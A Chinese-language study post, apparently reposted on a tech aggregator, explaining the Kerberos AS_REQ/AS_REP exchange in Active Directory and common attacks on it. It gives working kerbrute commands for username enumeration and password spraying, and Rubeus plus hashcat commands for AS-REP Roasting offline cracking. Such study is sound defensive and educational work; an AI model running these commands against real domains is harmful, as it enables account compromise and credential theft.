IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 数据结构与算法 -> 域渗透-kerberos协议 学习篇(1) -> 正文阅读

[数据结构与算法]域渗透-kerberos协议 学习篇(1)

AS_REQ&AS_REP

前言

域渗透的本质就是协议,在最近的学习中发现自己对域渗透kerberos协议这块有点模糊了,所以又回头看了一下,这次顺便记录下来,加深印象。
我会把域渗透中常见关于kerberos协议利用的方法和自己的理解都写清楚。方便自己下次看,也欢迎小伙伴一起学习。

这篇文章会先写kerberos的前2个阶段,也就是AS_REQ和AS_REP,会将自己的理解和这个阶段常见的攻击手法都写下来。

kerberos 认证流程

kerberos认证过程中会涉及到以下几个角色:

1、域控

2、KDC

3、AD(活动目录)

4、client

5、server

KeyDistribution Center秘钥分发中心简称KDC,默认是安装在域控制器(DC)上,其中KDC中又包含了Authentication Service(身份验证服务),简称AS,用于KDC对Client认证和Ticket Grantng Service (票据授予服务),简称TGS,用于KDC向Client和Server分发Session Key。

Active Directory(活动目录),简称AD,用于存储用户、用户组、域相关的信息。
Client 客户端,指用户。
Server 服务端,可能是某台计算机,也可能是某个服务。

kerberos认证的大体流程为:

在这里插入图片描述
大概的流程就是这样,其中会有一些细节。

在AS_REQ&AS_REP认证的时候具体过程:
AS_REQ
client访问域内的服务,本机会向KDC的AS 认证服务发送一个AS_REQ请求。请求主要包含用户Hash加密的时间戳、请求用户名、协商Hash的加密类型等信息。
AS_REP
AS_REP在收到该请求后会先访问AD,查询是否有该用户,如果有则取出用户的hash 用来解密AS_req中PA_DATA中PA-ENC-TIMESTAMP的内容并生成一个随机密钥session_key as,使用client的hash 加密session_key as,作为TGS_REQ阶段的部分内容发送给TGS。还有一部分内容为krbtgt用户hash加密的session_key as,timestamp,client-info为TGT的内容。(这部分的session_key as 在下一阶段被解密出来会用来加密server_info,client_info,timestamp。会用来与TGT中的内容对比,如果正确,也有权限才会给ST)

AS_REQ

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

AS_REP

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

AS_REQ&AS_REP阶段常见安全问题

1、用户名枚举

kerbrute_windows_amd64.exe userenum --dc 192.168.3.144 -d rootkit.org top-usernames-shortlist.txt
该工具会对域控制器的88号端口发送kerberos-pre-auth认证
当用户名存在,密码错误,会在返回包kerberos-krb-error-error_code字段中出现
error-code: eRR-PREAUTH-REQUIRED (25)
当用户名不存在时kerberos-krb-error-error_code字段中出现
error-code: eRR-C-PRINCIPAL-UNKNOWN (6)
利用该特征枚举出正确的域用户名
在这里插入图片描述

2、密码喷洒

kerbrute_windows_amd64.exe passwordspray -d rootkit.org top-usernames-shortlist.txt admin!@#45

top-usernames-shortlist.txt 爆破成功的域用户名
admin!@#45 喷洒的密码
登录成功,会产生日志(4768 - A Kerberos authentication ticket (TGT) was requested)
在这里插入图片描述

3、AS-REP Roasting

kerberos身份预认证默认情况下是开启的,KDC会记录密码错误次数,防止在线爆破。密码错误次数多了,会被锁定账号,所以千万不要一直对一个域用户去猜解密码,可以使用上面介绍的密码喷洒的方式,对不同的用户,使用同一个密码。

如果关闭了预身份验证后,攻击者可以指定用户去请求票据,域控不会校验AS_ERQ阶段的内容,在AS_REP阶段会返回用户hash加密的session key和krbtgt hash加密的TGT。所以攻击者拿到session key,则可以进行离线爆破。

设置为不接受kerberos身份预认证
在这里插入图片描述
rubeus.exe获得用户Hash
Rubeus.exe asreproast

在这里插入图片描述
将as_rep中的hash 复制下来
以固定的格式
$krb5asrep$23${0}@{1}:{2}", userName, domain, repHash

hashcat爆破

hashcat -m 18200 1.txt pass.txt --force
在这里插入图片描述
爆破成功
在这里插入图片描述

未完待续…

  数据结构与算法 最新文章
【力扣106】 从中序与后续遍历序列构造二叉
leetcode 322 零钱兑换
哈希的应用:海量数据处理
动态规划|最短Hamilton路径
华为机试_HJ41 称砝码【中等】【menset】【
【C与数据结构】——寒假提高每日练习Day1
基础算法——堆排序
2023王道数据结构线性表--单链表课后习题部
LeetCode 之 反转链表的一部分
【题解】lintcode必刷50题<有效的括号序列
上一篇文章      下一篇文章      查看所有文章
加:2022-04-18 18:07:50  更:2022-04-18 18:11:26 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/26 7:51:23-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码